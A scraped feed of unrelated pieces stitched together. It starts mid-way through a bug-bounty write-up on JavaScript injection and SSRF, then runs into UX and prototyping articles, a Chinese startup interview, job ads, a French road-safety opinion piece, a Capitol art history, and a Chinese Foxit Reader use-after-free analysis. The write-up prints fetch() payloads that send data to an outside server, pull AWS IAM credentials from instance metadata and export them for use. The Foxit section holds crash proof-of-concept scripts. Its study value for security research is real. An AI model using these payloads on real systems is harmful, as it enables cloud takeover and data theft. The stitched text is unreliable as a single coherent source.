{...REDACTED...,"operation":"'\"><"} {"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":null} [] {...REDACTED...,"operation":"0"} [] {...REDACTED...,"operation":"1"} [{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"a"} {"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"a=1"} {"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"alert"} {"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"alert()"} {"status":400,"message":"Function 'alert' is not defined"} {...REDACTED...,"operation":"Union()"} []

What I conclued here was:

operation

Let’s continue with Union() :

{...REDACTED...,"operation":"Union(1,2,3)"} {"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"Union(a,b,c)"} {"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"Union('a','b','c')"} {"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"Union('a';'b';'c')"} [{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"Union('1';'2';'3')"} [{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"Union('1';'<';'3')"} [{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"Union('1';'>';'3')"} []]

Perfect! If 1 < 3 then the response contains valid datas (true), but if 1 > 3 then the response is empty (false). Parameters must be separated by a semi colon. I could now try a real attack.

fetch is the new XMLHttpRequest

Because the request is an ajax call to the api that only returns JSON datas, it’s obviously not a client side injection. I also knew from a previous report that ArticMonkey tends to use alot JavaScript server side.

But it doesn’t matter, I had to try everything, maybe I could trigger an error that would reveal informations about the system the JavaScript runs on. Since my local testing, I knew exactly how to inject my malicious code. I tried basic XSS payloads and malformed JavaScript but all I got was the error previously mentionned.

I then tried to fire an HTTP request.

Through ajax call first:

x = new XMLHttpRequest; x.open( 'GET','https://poc.myserver.com' ); x.send();

But didn’t receive anything. I tried HTML injection:

i = document.createElement( 'img' ); i.src = '<img src="https://poc.myserver.com/xxx.png">'; document.body.appendChild( i );

But didn’t receive anything! More tries:

document.body.innerHTML += '<img src="https://poc.myserver.com/xxx.png">'; document.body.innerHTML += '<iframe src="https://poc.myserver.com">';

But didn’t receive anything!!!

Sometimes you know, you have to test stupid things by yourself to understand how stupid it was… Obviously it was a mistake to try to render HTML code, but hey! I’m just a hacker… Back to the ajax request, I stay stuck there for a while. It toke me quite a long time to figure out how to make it work.

I finally remembered that ArticMonkey uses ReactJS on their frontend, I would later learnt that they use NodeJS server side. Anyway, I checked on Google how to perform an ajax request with it and found the solution in the official documention which lead me to the fetch() function which is the new standard to perform ajax call, that was the key.

I injected the following:

fetch('https://poc.myserver.com')

And immediately got a new line in my Apache log.

Being able to ping my server is a thing but it’s a blind SSRF, I had no response echoed back. I had the idea to chain two requests where the second would send the result of the first one. Something like:

x1 = new XMLHttpRequest; x1.open( 'GET','https://...', false ); x1.send(); r = x1.responseText; x2 = new XMLHttpRequest; x2.open( 'GET','https://poc.myserver.com/?r='+r, false ); x2.send();

Again it toke me while to get the correct syntax with fetch() . Thanks StackOverflow .

I ended with the following code which works pretty well:

fetch('https://...').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

Of course, Origin policy applies.

SSRF for the win

I firstly tried to read local files:

fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

But the response ( r parameter) in my Apache log file was empty.

Since I found some S3 buckets related to ArticMonkey ( articmonkey-xxx ), I thought that this company might also use AWS servers for their webapp (which was also confirmed by the header in some responses x-cache: Hit from cloudfront ). I quickly jump on the list of the most common SSRF URL for Cloud Instances .

And got a nice hit when I tried to access the metadatas of the instance.
AWS takeover through SSRF in JavaScript

Final payload:

{...REDACTED...,"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/\").then(res=>res.text()).then((r)=>fetch(\"https://poc.myserver.com/?r=\"+r));';'3')"}

Decoded output is the directory listing returned:

ami-id ami-launch-index ami-manifest-path block-device-mapping/ hostname iam/ ...

Since I didn’t know anything about AWS metadatas, because it was my first time in da place. I toke time to explore the directories and all files at my disposition. As you will read everywhere, the most insteresting one is http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE> . Which returned:

{ "Code":"Success", "Type":"AWS-HMAC", "AccessKeyId":"...REDACTED...", "SecretAccessKey":"...REDACTED...", "Token":"...REDACTED...", "Expiration":"2018-09-06T19:24:38Z", "LastUpdated":"2018-09-06T19:09:38Z" } Exploit the credentials

At that time, I though that the game was ended. But for my PoC I wanted to show the criticity of this leak, I wanted something really strong! I tried to use those credentials to impersonate the company. You have to know that they are temporary credentials, only valid for a short period, 5mn more or less. Anyway, 5mn is supposed to be enough to update my own credentials to those ones, 2 copy/paste, I think I can handle that… err…

I asked for help on Twitter from SSRF and AWS master. Thank guys, I truely appreciate your commitment, but I finally found the solution in the UserGuide of AWS Identity and Access Management . My mistake, except to not read the documentation (…), was to only use AccessKeyId and SecretAccessKey , this doesn’t work, the token must also be exported. Kiddies…

$ export AWS_ACCESS_KEY_ID=AKIAI44... $ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI... $ export AWS_SESSION_TOKEN=AQoDYXdzEJr...

Checking my idendity with the following command proved that I was not myself anymore.

aws sts get-caller-identity

And then…


AWS takeover through SSRF in JavaScript

Left: listing of the EC2 instances configured by ArticMonkey. Probably a big part -or the whole- of their system.

Right: the company owns 20 buckets, containing highly sensitive datas from customers, static files for the web application, and according to the name of the buckets, probably logs/backups of their server.

Impact: lethal.

Timeline

06/09/2018 12h00 - beginning of the hunt

07/09/2018 00h30 - report

07/09/2018 19h30 - fix and reward

Thanks to ArticMonkey for being so fast to fix and reward, and agreed this article :)

Conclusion

I learnt alot because of this bug:

ReactJS, fetch(), AWS metadatas. RTFM! The official documentation is always a great source of (useful) informations. At each step new problems appeared. I had to search everywhere, try many different things, I had to push my limits to not give up. I now know that I can fully compromise a system by myself starting from 0, which is a great personal achievement and statisfaction :)

When someone tells you that you’ll never be able to do something, don’t waste your time to bargain with these peoples, simply prove them they’re wong by doing it.


          Mit Usability-Tests verstehen, wie Anwender ticken      Cache   Translate Page      
Das Ziel jedes User-Experience-Designers: Eine begeisternde mitreißende Nutzererfahrung. Was nutzt ein moderner Webauftritt, wenn kein Anwender damit klarkommt und die Seite frustriert nach wenigen Sekunden verlässt? Doch wie misst man, ob der Webauftritt wirklich so inspirierend und zukunftsweisend ist, wie es der Anspruch vorgibt? Mit Usability-Tests zum Erfolg Gutes UX-Design stellt die Nutzbarkeit eines Prototypen […]
           Arcimoto gets ready for retail production of its all-electric Fun Utility Vehicle       Cache   Translate Page      

A production run of 25 SRK pilot vehicles has begun, ahead of retail availability by the ...#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000

After notching up eight generations of prototype SRK electric three-wheelers, Arcimoto has followed a 15 model Beta Series by kicking off the manufacture of 25 Pilot Series Fun Utility Vehicles ahead of retail series production by the end of 2018.

.. Continue Reading Arcimoto gets ready for retail production of its all-electric Fun Utility Vehicle

Category: Automotive

Tags:
          Learning Experience Design, Learning Futures Group - Civil Service College - Singapore      Cache   Translate Page      
We work with internal and external partners to identify future learning trends and develop prototypes and pilots for potential application in CSC. Who We Are....
From Careers@Gov - Fri, 21 Sep 2018 05:52:48 GMT - View all Singapore jobs
          Top 5 software to prototype amazing UI/UX      Cache   Translate Page      

When communicating with clients, quality representation of our idea is very important. Client wants to see what your vision is, to have a clear picture of how it meets the demands of the market, and how it interacts with the users.

When choosing the right software to develop your prototype, you should consider which characteristics and features are essential to your work, which software can you easily adapt to and what fits your design process best.

A factor in choosing the right software is also your team, or better say if you are working within a team, as you would then require a software which you can share between yourselves. You would also need a program compatible with other design tools you already use, to avoid having to download loads of side programs for UI design.

Let's take a look at five best tools on the market in 2018:

 

Sketch

 

For those of you who are already used to Photoshop or Illustrator, Sketch is something you would easily adapt to. It is based on vectors, which ease the whole process of design, it is very intuitive and the simplicity of it helps you develop an interface super quickly.

One of its most popular features is nested symbols - the ability to add very simply pre-designed buttons, bubbles, widgets and even some more complex mechanisms. Great feature you can find useful is the ability to export your design into code, which enables easy implementation into, for example, web design.

 

 

Sketch is only available for Mac, comes with a free trial, and its full version can be purchased for $99.

 

InVision

 

A tool which integrates with Sketch, InVision is dominating the UI/UX market without any doubt. The greatest benefit coming from this amazing software is it's support to team work - within the program itself you can coordinate your project, manage tasks, follow the development and keep notes for the rest of your team.

 

 

This program is compatible with many other useful tools for project management, such as Trello, Slack and Dropbox. InVision will make your offer to the client way more impressive with the ability to offer guided tours, bringing them a presentation that will blow their minds away. Among companies which had their UI/UX prototypes developed using this tool are Twitter, LinkedIn and Uber, which gives us an excellent review of this software.

It is compatible for Mac and Windows users, it is free for one project, and price varies from $15 to $99 per month, depending on your needs.

 

Balsamiq

 

Balsamiq offers one of the easiest ways to create a mockup, dropping the elements on the board and moving them around. Everyone can master in using this amazing program. It is very useful for rough sketching of prototypes for fast delivery of your idea to the client.

 

 

It comes with a big library of elements (icons, images), enabling you to do a simple wireframe. This is not the program you would use to develop a complex prototype for an app, it is rather intended for static wireframes and for relatively new designers in the world of prototyping.

Available for Mac and Windows, comes with a 30-days free trial and the cost of the license is $89.

 

Origami

 

Developed by Facebook, this software offers you a possibility to easily design and test your idea. It allows you to import your designs from Photoshop and Sketch, where you can adapt them and make them animated and interactive.

Origami also enables you to export the elements of your prototype, send them to engineers and come step closer to your product. It is recommended when you are working with a contemporary interface and developing a modern and innovative idea.

By using an app Origami Live, you can explore your work directly on your devices in real time.

This program is also reserved for Mac users, while it is absolutely free to use.

 

Webflow

 

Webflow seems to have dominated the market as the most functional software for building the websites ever. The idea behind this incredible tool is for a designer to be able to construct a website without having to write the code.

Webflow operates similar to Photoshop, although it offers you the possibility to edit the code as well. It is great for web animation, interactive design and responsive web designs, and it also integrates Google Fonts. The final product of your work can be exported in HTML, CSS or JavaScript, but some might recommend getting the hosting with Webflow, as it is one of the fastest technologies on the market.

It is compatible with Windows and Mac, free for two projects, and from $16 to $35 per month for more projects.

 

 

If none of these top 5 programs work for you, some of our honorable mentions you can try are Framer, Adobe XD, Justinmind, Fluid UI, Axure, Principle, Atomic and Proto.io.

Explore these options for unlimited creativity in prototyping your design!

 

About the author:

Nina Petrov is an activist, poet, performer and mathematician. She communicates with the world mostly through words, movement and equations, but sometimes also by speaking very loudly. The only truth she could say about herself is that she keeps changing every day, never stops learning and interacting with her surroundings.


          Marketing Retail Coordinator - Ariat International - Union City, CA      Cache   Translate Page      
§ Support Retail Marketing Associate Manager in design and production of custom and stock fixtures including concept development, engineering and prototype...
From Ariat International - Fri, 17 Aug 2018 05:03:23 GMT - View all Union City, CA jobs
          【新科技创业2018 Q3】2018年Q4或推二代新品,「Roadstar.ai」还想将无人车扩充至50辆       Cache   Translate Page      


受访人:Roadstar.ai联合创始人、CTO衡量

Q1、2018年Q1-Q3 , 公司在技术、产品、市场、商业化、融资、团队等方面取得了哪些进展?

技术和产品方面:经过在美国加州半年的路测经验累积,今年2月份Roadstar.ai无人车开始在深圳路测,成为第一家能在中国城市复杂路况下完成全程无人工接管测试的无人驾驶公司。目前已实现公开路测里程6万公里,包括夜晚、雨天、高峰期、过隧道等特殊条件,以及能处理行人、电动车横穿马路、车辆加塞等突发情况。今年5月,Roadstar.ai对外发布第一代无人驾驶产品——「Aries•锐」,是首款打造纯国产激光雷达的Level4无人驾驶解决方案,针对中国特色交通难题,处理中国复杂城市路况,整套方案具有高性价比成本优势。

市场和商业化方面:国内市场重点打造品牌知名度,纵向上稳扎稳打,参与科技、自动驾驶相关展会,主办深圳预约试乘无人车等线下活动;横向上延展合作,与重庆龙湖地产打造无人车x商业住宅地产联动品牌战略合作,同时有多个影视、综艺类文化融合项目在推进阶段。商业化落地已有雏形。海外市场逐步提高品牌认识度,已与国外一些企业建立合作关系,并有实际项目操作中,包括北美、欧洲及日本的Tier1/OEM。

融资和团队方面:今年5月,Roadstar.ai对外宣布完成1.28亿美元A轮融资,由双湖资本和深创投集团联合领投,云启资本、招银国际、元璟资本跟投。团队快速稳健扩充中,目前已近百人。


 

Q2、2018年Q4, 公司在技术、产品、市场、商业化、融资、团队等方面,可能还会有哪些新进展? 

技术和产品方面:Roadstar.ai的第一代产品「Aries•锐」使用的传感器方案是2.0版本,目前已研发出3.0版本的车顶盒,此外,还将推出第二代产品,针对不同车型的L4无人驾驶解决方案。

市场和商业化方面:今年年底,Roadstar.ai计划扩充至50辆无人车,在试点地区开放用户体验,其他国内外合作项目均在推进中。

 

Q 3、2018年Q1-Q3,对行业影响最大的三件事?

Uber自动驾驶撞死人事件;Waymo购入6.2万辆菲亚特克莱斯勒汽车用于扩充自动驾驶车队;Cruise收获22.5亿美元软银投资。

Uber的事情使自动驾驶行业蒙上阴霾,引发公众舆论对自动驾驶安全性的质疑,但另一方面鞭策整个行业在大刀阔斧的道路上停下来审视技术问题,确保安全作为自动驾驶的第一要务。后两件事则是对自动驾驶行业的强心剂,说明了资本和市场对前景的信心和看好,也刺激着这块诱人蛋糕不断地膨胀。


 

Q4、2018年Q4,最关注的行业大件事有哪些?

Waymo入华动作,国内自动驾驶公司与国外自动驾驶公司的正面对决,考验国内自动驾驶技术实力,以及国外自动驾驶本土化问题的时候到了。

 

Q5、2018年、2019年, 自己所在的行业、所在的细分方向大概率会出现的事情和趋势会有哪些?

无人驾驶出租车方向的公司会开始铺车队,类似于现在的Waymo、Cruise一样,通过百辆车级别的车队验证系统的可靠性,并利用大量的数据来收集corner cases、提升性能。

其他方向,例如无人物流车、无人驾驶卡车等,会加速落地,在一些简单场景试运营起来。


Q6、2018年,公司是否会有一些里程碑节点?

Roadstar.ai在2018年已完成一个巨大的里程牌——1.28亿美元的A轮融资,这给公司的后续发展带来稳定的资金支持,今年年底公司规模会接近100人、50辆车,明年会达到200人、100辆车。百辆车的运营会是新的里程碑,标志着从研发原型(prototype)向成熟可靠的产品迈进。


Q7、目前自己所在的赛道呈现了什么样的竞争格局,行业未来最重要的竞争力是什么?公司的竞争力体现在哪里?

引用财经一篇自动驾驶的报道标题形容颇为贴切:巨头环伺,群雄将起。国内外车企大厂纷纷布局自动驾驶,科技巨头、出行公司都加入进来,国内BAT、滴滴均在局中,如果说去年提到4级自动驾驶还是稀罕事,今年来看,光是宣称能做到4级的初创公司就有十余家,落地场景也几乎包揽了能想见的细分条目。自动驾驶行业未来最重要的竞争力一定是格局,盘子能铺开多大,愿景涉及多少领域,自动驾驶不止是汽车、交通问题,是一场城市革新,在这个新行业里的人必须要有足够的格局去思考自动驾驶将带来的巨变。

公司的竞争力体现在稀缺性和差异化,一方面指的是自动驾驶技术,要能拉高门槛和有核心竞争力,一方面是商业落地能力,包括实际变现计划与上下游产业的相应布局。


 

 



          Technician      Cache   Translate Page      
RI-Providence, Contract position: R + D Technician needed for a high growth opportunity in the Providence, RI area. The R + D Technician is responsible for assisting product development engineers in the R + D of new and existing medical device products. Apply now for immediate consideration! Responsibilities for the Technician • Fabricate product prototypes • Perform electrical and mechanical tests and recor
          Jessika's Curse Prototype Version 1009-01 by Venus Noire JC      Cache   Translate Page      
 Jessika's Curse Prototype Version 1009-01 by Venus Noire JC#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000

          Sr. Principal Software Engineer - BAE Systems - Reston, VA      Cache   Translate Page      
We then help turn those research prototypes into differentiators for ES which has products fielded everywhere from the depths of the Earth’s oceans to Jupiter....
From BAE Systems - Tue, 17 Jul 2018 20:17:56 GMT - View all Reston, VA jobs
          FAST Labs - Software Engineer Section Lead - BAE Systems - Arlington, VA      Cache   Translate Page      
We then help turn those research prototypes into differentiators for ES which has products fielded everywhere from the depths of the Earth’s oceans to Jupiter....
From BAE Systems - Fri, 07 Sep 2018 02:08:48 GMT - View all Arlington, VA jobs
          La grande arnaque de la sécurité routière      Cache   Translate Page      

Au début de son second mandat, Jacques Chirac, ne sachant alors plus quoi inventer pour se rendre intéressant, avait fait de la sécurité routière une priorité gouvernementale, avec la lutte contre le cancer et l’aide aux handicapés. Ne manquait plus que la défense de la semaine des quatre jeudis.

En la matière, force est de constater que ses successeurs tiennent la route. Multiplication des radars, permis à points, PV tombant comme à Gravelotte (les forces de l’ordre touchent des primes au rendement) ; bref, tout est bon pour racketter l’automobiliste. Les autorités évoquent même sans rire la « délinquance routière »… Et contre cette « délinquance »-là, point de prévention, seulement une répression systématique. Comme quoi il sera bientôt moins dangereux, pour le paisible citoyen, d’arrondir ses fins de mois en revendant de la drogue plutôt qu’en roulant à 95 km/h au lieu de 90.

La dernière trouvaille en date du Comité interministériel de la sécurité routière ? La pose de boîtes noires dans les voitures. Officiellement, ces données concernant vitesse, manière de freiner ou façon de prendre les virages ne serviraient pas aux argousins, mais seulement aux assureurs. Ben tiens…

Flicage tous azimuts, bientôt finalisé avec l’instauration du système LAVIA permettant de contrôler votre vitesse, par satellite interposé ? Ne riez pas, c’est déjà dans les tuyaux. Ne restera plus que la voiture roulant toute seule, les prototypes sont déjà au point. Bref, déresponsabilisation à tous les étages, confiance aveugle en des technologies liberticides, empilement de lois toutes plus ubuesques les unes que les autres avec, pour résultat final, des automobilistes auxquels on désapprend à conduire : un peu comme si le gouvernement recyclait en ce domaine les recettes ayant fait merveille à l’Éducation nationale…

Au fait, pourquoi ce nouveau train de mesures coercitives ? À en croire le Comité interministériel de la sécurité routière, il s’agit bien sûr d’inverser la « courbe de la mortalité » sur les routes, en hausse de 4,6 % cette année. Les Français, éternels mauvais élèves ? Chauffards et meurtriers en puissance ? La raison de cette augmentation de la mortalité est peut-être à chercher ailleurs. Pierre Chasseray, délégué général de l’association 40 millions d’automobilistes : « En 2012 et 2013, on a eu deux chutes de la mortalité routière qui s’expliquent par plusieurs facteurs. Le premier est que, quoi qu’il arrive, la sécurité routière s’améliore d’année en année, il y a de moins en moins de tués sur les routes. En outre, en 2012, on a eu une hausse très forte des prix du carburant. Les Français ont beaucoup moins roulé et, en plus, les conditions climatiques sur 2012/2013 étaient assez complexes, avec des hivers très durs notamment, des étés qui n’étaient pas extraordinaires. Par conséquent, on s’est retrouvés avec moins d’usagers de la route. Logique mathématique pure : moins d’usagers sur la route, moins d’accidents. »

Et, histoire d’en finir avec les idées reçues et la politique du tout répressif, cette petite piqûre de rappel d’une autre association, la Ligue de défense des conducteurs :

N’en déplaise aux “anti-vitesse”, la hausse du nombre de radars et les mesures répressives contre les conducteurs n’ont pas d’efficacité réelle et restent sans effet sur les chiffres de la mortalité routière. Le nombre de morts sur les routes avait commencé à diminuer de façon significative depuis plusieurs dizaines d’années, bien avant la mise en place des premiers radars.

Si l’on résume, il y aurait donc comme une sorte de foutage de gueule…

Nicolas Gauthier,

source

          The 150-Year-Old Art of the US Capitol Gives a Glimpse of Scientific History      Cache   Translate Page      
Every year, over 3 million visitors pass through the doors of the United States Capitol building. For many, a highlight of this historic building is the Rotunda, the enormous chamber underneath the building's iconic dome. The floor of the Rotunda is filled with statues of American notables and paintings depicting pivotal scenes in United States history—not to mention gawking tourists and their guides, along with the occasional Congressperson.

Top: The iconic dome of the US Capitol building's West front, seen from outside
Bottom: An interior view of the Capitol Rotunda, a stunning display of art and history.
Image Credit: Top: Martin Falbisoner, via Wikimedia Commons (CC BY-SA 3.0)
Bottom: Office of the Architect of the Capitol
Despite all this bustle, it's often the ceiling—rising upward and curving to form the enormous dome—that catches visitors' attention. At the very top of this dome, suspended 180 feet above the Rotunda floor, stands a 4,664 square foot fresco painted in 1865 by Italian artist Costantino Brumidi. Although the Baroque period was long concluded by the time Brumidi was invited to Washington, he designed the fresco in a high Baroque style—creating a masterpiece that lent a sense of age and prestige to the Capitol.

The fresco is drenched in classical symbolism. Entitled The Apotheosis of Washington, it mirrors an ancient Roman process through which emperors became revered as gods—only here, it's George Washington seated on a heavenly throne. Draped in royal purple, Washington looks down from above the clouds, surrounded by thirteen maidens representing the original states. At either side, he is flanked by an allegorical female character, Liberty and Victory/Fame. Finally, six groups of figures line the perimeter of the dome, each indicating a pillar of American enterprise.

The Apotheosis of Washington in its entirety. Starting at the bottom and proceeding to the right, the groupings are entitled “War”, "Agriculture", "Mechanics", "Commerce", "Marine", and "Science"
Image Credit: Architect of the Capitol
As you gaze upward at the work, it could evoke any number of reflections on the nation’s history, ancient mythology, or artistic style. What might not be immediately apparent, though, is the subtle but powerful thread of scientific achievement weaving in and around the glorified figures.

To begin with, one of the six “pillars” is dedicated solely to Science herself. In this grouping, the Roman goddess of wisdom Minerva imparts understanding to three of the American superheroes of science: Next to Minerva stands Benjamin Franklin, known for any number of inventions but primarily credited with early forays into electricity. To his right stands Robert Fulton, who developed the first commercial steamboat as well as the first practical submarine, alongside Samuel Morse—best known for bringing the telegraph to practicality, through his development of Morse Code.

Here's a closer look at the "Science" grouping. Notice the three scientists to Minerva's right and the generator next to them.
Image Credit: Architect of the Capitol
While the individuals behind her work with geometrical instruments, Minerva gestures to a curious device: a glass wheel, mounted so that it can spin when a crank is turned. This apparatus, known as a Ramsden machine, was an early form of electrostatic generator: When it spun, the friction between the disk and an attached pair of cloth pads would charge the disk with static electricity—a slightly refined version of shuffling your feet on the carpet to give someone a quick "zap". This charge could be harnessed via a pair of conducting rods that extended near the disk without touching it: as the rods’ electrons would flee the region surrounding the negatively charged disk, creating a negative voltage.

A Ramsden machine on display at the Musée EDF Electropolis
Image Credit: Arnaud, via Wikimedia Commons (CC BY-SA 3.0)
Electrostatic generators of this type were well known, if not particularly useful, by the time Brumidi began his work. The first modern experiments involving static electricity were conducted in the 16th century, and the Ramsden machine, the first generator to use a flat plate rather than a globe or cylinder, was developed in 1766—almost exactly a century before the fresco was begun. On the other hand, it had been less than 35 years since Michael Faraday had applied the connection between electricity and magnetism to create the first electromagnetic generator, and it would be a long time before the full implications of that invention were realized. Whether the artist chose the older model for aesthetic reasons, because he was more familiar with it, or for some other reason is a matter of speculation.

Although this generator is perhaps the most easily recognizable of the scientific achievements depicted in the Apotheosis, it’s far from being the only one. In fact, it’s closely connected—both physically and conceptually—to another invention of the modern era: batteries. Electric batteries had been developed by Italian physicist Alessandro Volta at the very beginning of the 19th century. However, the first rechargeable batteries, the still common lead-acid batteries, were not invented until 1859, six years before the fresco’s painting—so the fact that the Ramsden machine is depicted charging these batteries actually represents a bold juxtaposition between old and new technologies.

But the role of science and technology in establishing the United States is apparent even in the portions of the fresco that aren't so explicitly labeled. The "Marine" grouping depicts the Roman gods Neptune and Venus holding up a long cable: the transatlantic telegraph cable. While it may not look like much, the telegraph was a paradigm-shifting invention in the 1800s, and its development is deeply intertwined with United States politics—making it a fitting candidate indeed for such a prominent position in the Capitol building.

Although Samuel Morse is often credited with the invention of the telegraph, a number of scientists were able to develop theoretical models and functional prototypes in the half-century leading up to his work. Many of these were limited in their capabilities and practicality, but the first working telegraph was created by Francis Ronalds in 1816, years before Samuel Morse’s 1837 patent. However, when Ronalds presented his work to the British Admiralty, it was deemed “wholly unnecessary” and the project was scrapped.

In the United States, when Samuel Morse designed his own working telegraph, he recognized the invention's potential to change the world, especially if it had the government support necessary to become established as infrastructure. For this reason he asked to demonstrate the device before interested Members of Congress in 1838. This was the first public demonstration of his telegraph machine, and he took advantage of the impressed audience to request appropriations for a long-distance cable.

It took until 1842 for this request to be approved, at which point the 27th Congress allowed Morse $30,000 to construct a cable relay between Washington, D.C. and Baltimore. The cable was completed in 1844, when it was inaugurated with another demonstration for congressional Members. This first long-distance telegraph was sent from the Old Supreme Court Chamber and read “What hath God wrought?”, a verse from the Bible’s Book of Numbers. Once the message had been successfully transmitted, Morse’s friend in Baltimore, Alfred Vail, relayed the day’s news—marking the dawn of the era of telecommunications.

(Click to enlarge)
The translated transcript of the telegraph sent from the Old Supreme Court Chamber in the Capitol Building.
Image Credit:Public Domain, via Wikimedia Commons

The telegraph’s design is remarkably simple; Morse’s predecessors had run into more difficulties in finding a way to effectively code messages for ease of transmission rather than in the technical design. Part of the reason Morse was able to find success, aside from the support he received from Congress to make long-distance communication a reality, was his creation of Morse Code. Although some previous iterations had used various binary systems, most were impractical, involving rotating alphanumeric wheels, pith balls hanging on silk threads, black and white flags, and dials that rotated back and forth. Morse code, on the other hand, was an uncomplicated system of dots and dashes that could be sent or received with relative ease.

At its core, the telegraph is simply a series of electrical pulses of high voltage sent along a conducting wire. The "sending key"—the small button that the telegraph operator taps on—is connected to a battery or voltage inducer, and pressed to complete a circuit and allow current to flow; a short pulse is a "dot", and a longer one is a "dash".

On the receiving end, Morse used an electromagnet to record the messages. The nature of an electromagnet allows it to attract ferromagnetic materials only when current is flowing. This temporary attraction causes a pen to either draw or emboss the appropriate dots and dashes, leaving a written record of every message.

Following the installation of the Washington-Baltimore line, aides at the Capitol found the telegraph indispensable. Lines were gradually installed to reach other eastern cities, and finally even the west coast. In 1853, President Franklin Pierce approved designs for the new House Chamber which included a dedicated House telegraph office. Finally, the first transatlantic telegraph cable was completed in 1858. Although it quickly became unusable, its more durable replacement was put into service in 1866—just after Brumidi brushed the last dab of paint on the Apotheosis.

We've come a long way since then: the telegraph became the telephone, transforming and growing and eventually giving birth to the wireless networks that connect us all today. So although the Apotheosis of Washington fulfils its purpose as an ode to the first President, it also tells another story, one of science history and the importance of innovation to the development of the United States—and the world. Costantino Brumidi seemed to understand how developments on the scientific front could promote progress in all of the other pillars of American enterprise—so let’s hope we remember that too.

—Eleanor Hook
          The U.S. Army Is Testing The FDM L5 Caseless Ammo Multi-Bore Rifle      Cache   Translate Page      
FDM L5 Caseless Rifle

Perhaps the next generation rifle for the U.S. Army may just trace its origins to a garage located in Colorado Springs. According to media reports, the U.S. Army has ordered a prototype version of the FDM L5 Caseless Rifle.

read more


          Foxit Reader多个UAF漏洞解析      Cache   Translate Page      

0x00 简介

9月28号著名PDF阅读器厂商福昕针对Foxit Reader和Foxit PhantomPDF发布了例行安全更新,在其安全公告上涉及了其中一个包含较多CVE编号的修补,Foxit对此修补的描述为:“Addressed potential issues where the application could be exposed to Use-After-Free Remote Code Execution or Out-of-Bounds Read Information Disclosure vulnerability and crash. This occurs when executing certain JavaScript due to the use of document and its auxiliary objects which have been closed after calling closeDoc function”。本文就简单说一下该系列漏洞。

0x01 第一次报告

关于这个攻击面的发现在Foxit Reader之前的例行安全更新中修补的远程命令执行漏洞CVE-2018-3924和CVE-2018-3939。这两个漏洞由Cisco Talos的Aleksandar Nikolic提交,在7月19号被修补,有意思的是在8月16号Foxit又发布更新修补了CVE-2018-3924和CVE-2018-3939,明显第一次修补存在一些问题。

这两个漏洞的详情可以在Talos的博客上看到:https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0588;https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0606

0x02 CVE-2018-3924

PDF格式是允许嵌入JavaScript脚本的,从而可以在文档中实现更丰富的功能,比如动态修改文档内容,自动发送电子邮件等。而这一切需要由PDF阅读器提供的JavaScript引擎以及一系列内置函数的支持。触发崩溃的PoC如下:

var v1 = new Array();

function main() {

v1.toString = f;

app.activeDocs[0].mailForm({},v1,{},{},{},true,{});

}


function f() {

app.activeDocs[0].closeDoc();


    return 1;

}

该漏洞出在JavaScript内置类型Doc的mailForm()方法中,Doc类型是Adobe Acrobat API中定义的用于访问PDF文档的内置类,为了和Adobe Acrobat兼容,Foxit Reader也实现了Adobe Acrobat API中的绝大多数内容。全局变量app属于App类型,其方法activeDocs()用于返回当前活跃的文档的Doc实例,Doc的另外一个方法closeDoc()用于关闭文档并从内存中销毁相应的对象。Adobe Acrobat API文档中没有限制mailForm()参数的类型,但可以参考开源的PDFium的代码:

image

第二个参数在存在的情况下会被强制转化为字符串类型,结合PoC可以推知转化的过程会调用v1.prototype.toString(),而这个函数被赋值为f(),运行时会销毁当前Doc对象,而销毁后某些代码又会继续引用Doc对象中的属性,从而形成UAF漏洞。实际运行时情况也的确如此,程序会崩溃在0x00B8D5C9的位置上(9.0.1.1049版本):

image

edi中存储着当前Doc对象的指针,这里程序调用了Doc对象内部0x5C偏移处的另一个对象的一个虚函数,因为该虚表指针早已被销毁并填充进了其他数据,从而触发Access violation崩溃。从测试情况来看,可以很容易的控制并填充Doc对象的内存区域,从而控制eip,实现任意代码执行。

0x03 CVE-2018-3939

这次的崩溃PoC和CVE-2018-3924长得很像:

function main() {

var a = {};

a.toString =  f;

app.activeDocs[0].createTemplate(false,a);

}


function f() {

app.activeDocs[0].closeDoc();

}


main();


明显可以看出问题很类似,只不过有漏洞的代码在另一个函数里面罢了。运行后崩溃的位置也很相似:

image

又是通过调用Doc对象偏移0x5C的对象的虚函数来触发UAF。

0x04 修补

